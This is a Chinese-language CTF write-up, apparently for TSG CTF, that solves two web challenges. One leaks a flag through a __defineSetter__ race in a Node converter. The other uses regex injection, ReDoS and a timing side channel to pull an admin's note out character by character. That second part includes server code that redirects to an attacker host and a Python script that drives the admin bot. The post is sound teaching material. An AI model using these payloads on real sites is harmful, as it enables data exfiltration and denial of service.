又双叒叕爆零…学到了一个新词:beginner…惨惨
web Beginner’s Web 好一个beginner,不过这题还是很有意思的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 const fastify = require ('fastify' );const nunjucks = require ('nunjucks' );const crypto = require ('crypto' );const converters = {};const flagConverter = (input, callback ) => { const flag = '*** CENSORED ***' ; callback(null , flag); }; const base64Converter = (input, callback ) => { try { const result = Buffer.from(input).toString('base64' ); callback(null , result) } catch (error) { callback(error); } }; const scryptConverter = (input, callback ) => { crypto.scrypt(input, 'I like sugar' , 64 , (error, key) => { if (error) { callback(error); } else { callback(null , key.toString('hex' )); } }); }; const app = fastify();app.register(require ('point-of-view' ), {engine : {nunjucks}}); app.register(require ('fastify-formbody' )); app.register(require ('fastify-cookie' )); app.register(require ('fastify-session' ), {secret : Math .random().toString(2 ), cookie : {secure : false }}); app.get('/' , async (request, reply) => { reply.view('index.html' , {sessionId : request.session.sessionId}); }); app.post('/' , async (request, reply) => { if (request.body.converter.match(/[FLAG]/ )) { throw new Error ("Don't be evil :)" ); } if (request.body.input.length < 10 ) { throw new Error ('Too short :(' ); } converters['base64' ] = base64Converter; converters['scrypt' ] = scryptConverter; converters[`FLAG_${request.session.sessionId} ` ] = flagConverter; const result = await new Promise ((resolve, reject ) => { converters[request.body.converter](request.body.input, (error, result) => { if (error) { reject(error); } else { resolve(result); } }); }); reply.view('index.html' , { input: request.body.input, result, sessionId: request.session.sessionId, }); }); app.setErrorHandler((error, request, reply ) => { reply.view('index.html' , {error, sessionId : request.session.sessionId}); }); app.listen(59101 , '0.0.0.0' );
解法 先说下解法
发送post请求(FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP
要按照不同的session id来)
1 input=FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP&converter=__defineSetter__
这时页面会卡在那里
1 input=aaaaaaaaaaaaa&converter=base64
这时原来那个卡住的页面就会报错显示flagConverter
的代码,其中就包含了flag
原理 Object.prototype.__defineSetter__()
参考MDN文档
defineSetter 方法可以将一个函数绑定在当前对象的指定属性上,当那个属性被赋值时,你所绑定的函数就会被调用
因此当我们传入
1 input=FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP&converter=__defineSetter__
会将
1 2 3 4 5 6 7 (error, result) => { if (error) { reject(error); } else { resolve(result); } }
绑定到converter[FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP]
await new Promise
Promise
代表了一个异步操作的最终完成或者失败,而await new Promise
会暂停当前 async function
的执行,让主线程先去执行async function
外的代码,等待Promise
的返回
那么为什么第一个请求发出后会卡住呢?
1 2 3 4 5 6 7 8 9 const result = await new Promise ((resolve, reject ) => { converters[request.body.converter](request.body.input, (error, result) => { if (error) { reject(error); } else { resolve(result); } }); });
只有执行了reject(error)
或者resolve(result)
后Promise
才会返回,但
1 2 3 4 5 6 7 (error, result) => { if (error) { reject(error); } else { resolve(result); } }
需要在base64Converter
或者scryptConverter
调用,因此第一个请求发出后就一直卡在了await new Promise
这里
javascript容错性 javascript可以接受比形参个数少的实参,比如
1 2 3 4 5 const f = function (a,b ) { console .log(a,b) } f('a' );
当第二个请求发送过来时,因为在converter[FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP]
上设置了Setter
,converters[`FLAG_${request.session.sessionId}`] = flagConverter;
会调用
1 2 3 4 5 6 7 (error, result) => { if (error) { reject(error); } else { resolve(result); } }
传入的参数只有一个,所以
1 2 error=flagConverter result=undefined
然后reject(error);
使第一个请求的Promise
返回(因为nodejs是单线程 的,所以第二个请求能够影响到第一个请求),同时抛出一个rejectionhandled
错误,该错误被error handler
捕获
1 2 3 app.setErrorHandler((error, request, reply ) => { reply.view('index.html' , {error, sessionId : request.session.sessionId}); });
这时将flagConverter
作为error
渲染
Function.prototype.toString()
为什么将函数渲染会返回其源代码呢?
首先要看模板渲染的原理。模板渲染时会动态生成一段js代码
实际上是把模板文件中的html拆分开,和用户传入的变量进行字符串拼接
因此当把函数和字符串进行拼接时,会调用Function.prototype.toString() 将函数转为字符串,该方法会返回一个表示函数源代码的字符串
一个简单的示例
1 2 3 4 5 6 7 8 9 10 const f = function (a, b ) { console .log(a, b) } console .log('aaaaa' +f);
总结
对js内置方法的运用:Object.prototype.__defineSetter__()
和Function.prototype.toString()
对js异步编程的了解
js的容错性和弱类型转换
javascript是世界上最好的语言(确信
References
note1 进去之后是一个记事本的功能
给了ruby的后端代码和一个worker.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 require 'rack/contrib' require 'sinatra/base' require 'sinatra/json' require 'sqlite3' class App < Sinatra::Base DB = SQLite3::Database.new 'data/db.sqlite3' DB.execute <<-SQL CREATE TABLE IF NOT EXISTS notes ( id INTEGER PRIMARY KEY AUTOINCREMENT, user_id TEXT, content TEXT ); CREATE TABLE IF NOT EXISTS tokens ( id TEXT PRIMARY KEY, remain INTEGER ); SQL DB.execute <<-SQL INSERT OR REPLACE INTO notes (id, user_id, content) VALUES (0 , '#{ENV['FLAG_USER_ID' ]} ' , '#{ENV['FLAG_CONTENT' ]} ' ); SQL use Rack::JSONBodyParser use Rack::Session::Cookie, secret: ENV['SECRET' ], old_secret: ENV['OLD_SECRET' ] def err (code, message) [code, json({message: message})] end post '/api/register' do session[:user ] = SecureRandom.hex(16 ) json({}) end post '/api/logout' do session[:user ] = nil json({}) end get '/api/note' do return err(401 , 'login first' ) unless user = session[:user ] sleep 0 .5 begin res = DB.query 'SELECT id, content FROM notes WHERE user_id = ? ORDER BY id' , user notes = [] res.each do |row| notes << {id: row[0 ], content: row[1 ]} end res.close end json(notes) end post '/api/note' do return err(401 , 'register first' ) unless user = session[:user ] return err(403 , 'no note :rolling_on_the_floor_laughing:' ) unless note = params[:note ] and String === note and note.bytesize > 0 return err(403 , 'too large note' ) unless note.bytesize < 500 begin res = DB.query 'SELECT COUNT(1) FROM notes WHERE user_id = ?' , user row = res.next count = row && row[0 ] res.close end return err(403 , 'too many notes' ) unless count < 50 DB.execute 'INSERT INTO notes (user_id, content) VALUES (?, ?)' , user, note json({}) end delete '/api/note/:id' do return err(401 , 'login first' ) unless user = session[:user ] puts params[:id ] return err(404 , 'no note' ) unless id = params[:id ] and (String === id or Integer === id) and id = id.to_i DB.execute 'DELETE FROM notes WHERE id = ? AND user_id = ?' , id, user 200 end end
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 const puppeteer = require ('puppeteer' );const Redis = require ('ioredis' );const connection = new Redis(6379 , 'redis' );const browser_option = { product: 'firefox' , headless: true , }; const crawl = async (url) => { console .log(`[*] started: ${url} ` ) const browser = await puppeteer.launch(browser_option); const page = await browser.newPage(); await page.setCookie({ name: 'rack.session' , value: process.env.COOKIE_VALUE, domain: process.env.DOMAIN, expires: Date .now() / 1000 + 10 , }); try { const resp = await page.goto(url, { waitUntil: 'load' , timeout: 3000 , }); } catch (err){ console .log(err); } await page.close(); await browser.close(); console .log(`[*] finished: ${url} ` ) }; function handle ( ) { console .log("[*] waiting new query ..." ) connection.blpop("query" , 0 , async function (err, message ) { const url = message[1 ]; await crawl(url); await connection.incr("proceeded_count" ); setTimeout(handle, 10 ); }); } handle();
app.rb中flag被放到了管理员的note中
给了一个worker.js
前端有一个Report URL
根据这三点可以猜到是一个xss的题,看下前端的代码,发现是用vue.js写的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <!doctype html > <html > <head > <meta charset ="utf-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1" > <link rel ="icon" href ="data:," > <link rel ="stylesheet" href ="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css" > <link rel ="stylesheet" href ="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.9.0/css/bulma.min.css" > <script defer src ="https://use.fontawesome.com/releases/v5.3.1/js/all.js" crossorigin ="anonymous" > </script > <script src ="https://cdn.jsdelivr.net/npm/vue" crossorigin ="anonymous" > </script > <link rel ="stylesheet" href ="/app.css" > <style > [v-cloak] >*{display : none} [v-cloak] ::before {content :"loading..." }</style > </head > <body > <div id ="app" v-cloak > <div class ="container" > <div v-if ="headerImg" class ="hero" > <img :src ="headerImg" /> </div > <section class ="section" > <div v-if ="loggedin" > <div class ="buttons is-right" > <button v-on:click ="logout" class ="button" > Exit Note Space</button > <a href ="/report.html" class ="button" > Report URL</a > </div > <div class ="control" > <div class ="control has-icons-right" > <input v-model ="search" placeholder ="Search..." type ="text" class ="input is-rounded" /> <span class ="icon is-small is-right" > <i class ="fas fa-search" > </i > </span > </div > </div > <section class ="section" > <div class ="is-centered" > <div class ="control note is-centered" > <textarea v-model ="editingNote" placeholder ="note..." class ="textarea note-color box" > </textarea > <button v-on:click ="postNote" class ="button is-fullwidth" > Post</button > </div > </div > </section > <div style ="display: flex; flex-wrap: wrap;" > <div v-for ="note in visibleNotes" class ="note note-color box" style ="flex: 1" > {{ note.content }} <div class ="x-icon" :noteid ="note.id" v-on:click ="deleteNote" > </div > </div > </div > </div > <div v-else > <button v-on:click ="register" class ="button" > New Note Space</button > </div > </section > </div > </div > <script src ="/app.js" > </script > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 function api (path, body, method = 'POST' ) { return fetch(path, { method, credentials: 'include' , ...(method == 'POST' ? { headers: { 'Content-Type' : 'application/json' , }, body: JSON .stringify(body), } : {}), }).then(res => { if (!res.ok) { return res.json().catch(_ => { throw {message : 'something went wrong' }; }).then(({message} ) => { throw {message : message || 'something went wrong' }; }); } return res; }); } const app = new Vue({ el: '#app' , data: { tab: 'transfer' , headerImg: document .location.hash.substring(1 ) || '' , search: document .location.search.substring(1 ) || '' , editingNote: '' , allNotes: [], visibleNotes: [], loggedin: false , }, watch: { search() { this .updateVisibleNotes(); }, allNotes() { this .updateVisibleNotes(); console .log(this .allNotes.length); }, }, mounted() { this .updateNotes(); }, methods: { async updateNotes() { try { const notes = await (await api('/api/note' , '' , 'GET' )).json(); this .loggedin = true ; console .log(notes); this .allNotes = notes; } catch { this .loggedin = false this .allNotes = []; }; }, async updateVisibleNotes() { try { const re = new RegExp (this .search); this .visibleNotes = this .allNotes.filter(({content} ) => content.match(re)); } catch { } }, async register() { await api('/api/register' , {}); await this .updateNotes(); }, async logout() { await api('/api/logout' , {}) this .updateNotes(); }, async postNote() { await api('/api/note' , {note : this .editingNote}); this .editingNote = '' ; const notes = await (await api('/api/note' , '' , 'GET' )).json(); this .allNotes = notes; }, async deleteNote(ev) { const e = ev.target; const noteid = e.getAttribute('noteid' ); await api(`/api/note/${noteid} ` , {}, 'DELETE' ); const notes = await (await api('/api/note' , '' , 'GET' )).json(); this .allNotes = notes; }, } });
正则注入 1 2 3 4 5 6 7 8 async updateVisibleNotes() { try { const re = new RegExp (this .search); this .visibleNotes = this .allNotes.filter(({content} ) => content.match(re)); } catch { } }
可以看到这里存在一个正则注入,注入的正则用于匹配note的内容,并且this.search
可以由url控制
1 search: document .location.search.substring(1 ) || '' ,
javascript的正则并不像php那样有回溯次数的限制,因此正则注入能够造成ReDos
通过注入特殊的正则,可以根据延时的不同判断note的内容,详细可以参考https://diary.shift-js.info/blind-regular-expression-injection/
比如以下正则
1 ^(?={some regexp here})((((.*)*)*)*)*salt
salt
是一个有一定长度的字符串,比如随便填一个saltfwefwefewfwfekorewp
((((.*)*)*)*)*salt
这部分通过嵌套重复运算符导致回溯次数暴增,造成ReDos,比如
1 2 3 4 regex = "((((.*)*)*)*)*saltfwefwefewfwfekorewp" ; const re = new RegExp (regex);'abcdefghijklmnopq' .match(re); console .log('finish' )
详细的理论可以参见https://zhuanlan.zhihu.com/p/46294360 ,虽然我没看懂…
^(?={some regexp here})
正向肯定预查
如果目标字符串无法匹配some regexp here
的话就直接返回匹配失败,这样就不会运行后面的((((.*)*)*)*)*salt
,也就不会有延时
匹配some regexp here
的话就会reDos
通过改变some regexp here
,根据延时的不同就可以判断出note的内容
比如我随便输了一个内容为aaaTSGCTF{Abdfefe
的note,访问以下urlhttp://35.221.81.216:18364/?^(?=^aaa)((((.*)*)*)*)*saltfwefwefewfwfekorewp
firefox会卡在这个页面大概8秒左右(我瞎数的)才显示出搜索栏和note的文本框,调试可以发现是firefox在一定时间后强行跳过了正则匹配那行
chrome会卡更久时间,直到提示说该页面无响应
OOB 那么把这样的url发给管理员后,怎样才知道它延时了多久呢
可以注意到有一个根据location.document.hash
加载背景图片的功能
1 headerImg: document .location.hash.substring(1 ) || '' ,
1 <div v-if ="headerImg" class ="hero" > <img :src ="headerImg" /> </div >
看起来可以通过加载我们服务器上的图片来看延时了多久,然而加载图片是发生在正则匹配之前的…
解决方法是通过加载图片时的延时和302跳转,方法和代码来自https://ctftime.org/writeup/22284
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 const http = require ('http' );const { performance } = require ('perf_hooks' );const { URL } = require ('url' );const server = http.createServer((req, res ) => { setTimeout(() => { res.writeHead(302 , { 'Location' : 'http://ourserver.example.com:8001/?r=' + encodeURIComponent (req.headers.referer) + '&s=' + encodeURIComponent (performance.now()) }); res.end(); }, 2000 ); }); server.listen(8000 ); const server2 = http.createServer(function (req, res ) { const url = new URL(req.url, 'http://ourserver.example.com:8001' ); console .log(url.searchParams.get('r' )); console .log(performance.now() - parseInt (url.searchParams.get('s' ))); res.writeHead(200 , {'Content-Type' : 'text/plain' }); res.end('ok\n' ); }); server2.listen(8001 );
访问http://35.221.81.216:18364/?^(?=aaa)((((.*)*)*)*)*saltfwefwefewfwfekorewp#http://ourserver.example.com:8000 ,这时浏览器会做下面的操作:
新开一个线程去加载图片,该线程经过了我们服务器两秒的延时后才拿到302跳转的返回,向主线程发出自己工作完成的信号
在这个期间主线程继续往下执行其他的代码
如果note内容不匹配some regexp here
的话主线程就会继续往下干活,及时处理加载图片线程的信号,在较短的时间内请求8001端口
如果note的内容匹配some regexp here
的话,主线程会卡死在正则匹配这里。不请求8001端口或者晚请求8001端口
上面的过程都是我瞎猜的…
不断改变some regexp here
,通过请求8000端口和请求8001端口的时间差就可以判断flag的内容了
试验一下可以发现虽然worker.js里写的是firefox,但是Report URL在ReDos成功后根本不会有第二次请求…反倒是和chrome表现一致…
瞎捣鼓了一个很慢的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 const http = require ('http' );const { performance } = require ('perf_hooks' );const { URL } = require ('url' );var flag = true ;const server = http.createServer((req, res ) => { console .log("Get it" ); setTimeout(() => { res.writeHead(302 , { 'Location' : 'http://ourserver.example.com:8001/?r=' + encodeURIComponent (req.headers.referer) + '&s=' + encodeURIComponent (performance.now()) }); res.end(); }, 2000 ); flag = true ; }); server.listen(8000 ); const server2 = http.createServer(function (req, res ) { const url = new URL(req.url, 'http://ourserver.example.com:8001' ); console .log(url.searchParams.get('r' )); console .log(performance.now() - parseInt (url.searchParams.get('s' ))); res.writeHead(200 , {'Content-Type' : 'text/plain' }); res.end('ok\n' ); flag = false ; }); server2.listen(8001 ); const server3 = http.createServer(function (req,res ) { res.writeHead(200 , {'Content-Type' : 'text/plain' }); if (flag){ res.end('Yes' ); } else { res.end('No' ); } }); server3.listen(8002 );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import requestsimport timeimport mathimport stringimport refrom urllib.parse import quotesession = requests.session() def send_payload (regex) : burp0_url = "http://35.221.81.216:18364/query" burp0_cookies = {"rack.session" : "BAh7B0kiD3Nlc3Npb25faWQGOgZFVG86HVJhY2s6OlNlc3Npb246OlNlc3Npb25JZAY6D0BwdWJsaWNfaWRJIkVlNzI5ZmYxYzNlMGRiYWUxMmU5ZjVlZTdkNTEwNDMwMGY0YzcxNjUzMzM5MmVjNmMzMmJkN2Q5ZTZiZDRlODdmBjsARkkiCXVzZXIGOwBGSSIlYTY2ODZlMTlmNWQ0ZTU0ZGFiNDE5OGMzY2IxN2ZjZDkGOwBG--0895dbb03d0c8d085c5ee28a5d3a50262048d172" } burp0_headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Content-Type" : "application/x-www-form-urlencoded" , "Origin" : "http://35.221.81.216:18364" , "Connection" : "close" , "Referer" : "http://35.221.81.216:18364/report.html" , "Upgrade-Insecure-Requests" : "1" } burp0_data = { "url" : "http://35.221.81.216:18364/?^(?={})((((.*)*)*)*)*saltfwefwefewfwfekorewp#http://ourserver.example.com:8000" .format(regex)} session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) time.sleep(6 ) return query_result() def query_result () : url = "http://ourserver.example.com:8002" response = requests.get(url=url).text if response == 'Yes' : return True else : return False ''' 判断flag长度 lower_bound = 1 upper_bound = 40 while lower_bound != upper_bound: m = math.ceil((lower_bound + upper_bound) / 2) if send_payload(".{{{}}}".format(m)): lower_bound = m else: upper_bound = m-1 print("[*] {}, {}".format(lower_bound, upper_bound)) secret_length = lower_bound # = upper_bound print("[+] length: {}".format(secret_length)) ''' secret_length = 24 S = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_{}" secret = "" for i in range(7 , secret_length): lower_bound = 0 upper_bound = len(S)-1 while lower_bound != upper_bound: m = (lower_bound + upper_bound) // 2 s = S[lower_bound:(m+1 )] if send_payload(".{" + str(i) + "}[" + '' .join(list(map(re.escape, s))) + ']' ): upper_bound = m else : lower_bound = m+1 print("[*] {}, {}" .format(S[lower_bound], S[upper_bound])) secret += S[lower_bound] print("[*] {}" .format(secret)) print("[+] secret: {}" .format(secret))
References